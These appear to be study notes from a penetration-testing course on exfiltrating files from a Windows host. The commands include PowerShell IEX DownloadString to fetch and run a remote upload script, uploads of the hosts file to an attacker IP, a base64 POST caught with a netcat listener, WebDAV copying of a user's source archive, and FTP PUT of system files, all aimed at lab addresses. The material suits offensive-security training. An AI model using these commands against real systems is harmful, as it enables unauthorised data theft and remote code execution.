

File Transfers Page 1

New versions of Windows block unauthenticated guest access

Mount the SMB Server with Username and Password

FTP Downloads

Uploads

PowerShell Base64 Encode & Decode

3688374325b992def12793500307566d hosts

PowerShell Web Uploads

Installing a Configured WebServer with Upload

- ☐ `—$ python3 -m pipx install uploadserver`
- ☐ `—$ python3 -m pipx ensurepath`

Run http server

- ☐ `—$ python3 -m uploadserver`
- Or

Self-Signed Certificate to run a server with https

- ☐ `$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'`
- ☐ `—$ /home/jerbi/.local/bin/uploadserver 443 --server-certificate ../server.pem`

PowerShell Script to Upload a File to Python Upload Server

- ☐ PS C:\htb> `IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')`
- ☐ PS C:\htb> `Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts`

[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

using `Invoke-WebRequest` or `Invoke-RestMethod` together with `Netcat`.

- ☐ PS C:\htb> `$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))`
- ☐ PS C:\htb> `Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64`

We catch the bytes in our Attacker machine :

- ☐ Djerbien@htb[/htb]\$ `nc -lvnp 8000`
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

lyBDb3B5cmInaHQgKGpIDe5OTMtMjAwOSBNaWNyY3NvZnQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHhnbXBsZSBIT1NUUyBmaWxllHVzZWQgYnkqTWljcm9zb2Z0IFRDUC9JUCBmb3JgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxllIGVbnRhaW5zIHJRoZSBtYXBwaW5ncyBvZiBUCBhZGRyZXNzZXMGdG8gaG9zdCBuYW1lcYgRWfjaA0KlyBilbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWfslGxpbnUuIFRoZSBUCBhZGRyZXNzIHNoY3VsZAA0KlyBIZSBwbGFjZWQgaW4gdGhlIGZpcnNOIGNvbHVtbiBmb2xs3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3NOIG5hbWUuDQoiIFRoZSBUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNoY3VsZCBIZSBzZXBhcmF0ZWQgYnkqYXQgbGVhc3Qgb25lDQo...SNIP...
- ☐ Djerbien@htb[/htb]\$ `echo <base64> | base64 -d -w 0 > hosts`

SMB Uploads

Commonly enterprises **don't allow the SMB protocol (TCP/445) out of their internal network to not pose a potential attack**. An alternative is to run **SMB over HTTP with WebDav**. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that **web browsers** and **web servers** use to communicate with each other.

Configuring WebDav Server

- ☐ `--$ Pipx install wsgidav cheroot`

Using WebDav

```
Djerbien@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

Connect to WebDav and upload

```
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\  
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
```

Note: If there are no SMB (TCP/445) restrictions, you can use [impacket-smbserver](#) the same way we set it up for download operations.

FTP Uploads

Setting up a Python3 FTP Server (with --write)

```
Djerbien@htb[/htb]$ sudo python3 -m pyftplib --port 21 --write
```

Uploading Files from an FTP Server Using PowerShell

```
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
```

Create a Command File for the FTP Client and upload the Target File

```
C:\htb> echo open 192.168.49.128 > ftpcommand.txt  
C:\htb> echo USER anonymous >> ftpcommand.txt  
C:\htb> echo binary >> ftpcommand.txt  
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt  
C:\htb> echo bye >> ftpcommand.txt  
C:\htb> ftp -v -n -s:ftpcommand.txt  
ftp> open 192.168.49.128  
  
Log in with USER and PASS first.  
  
ftp> USER anonymous  
ftp> PUT c:\windows\system32\drivers\etc\hosts  
ftp> bye
```

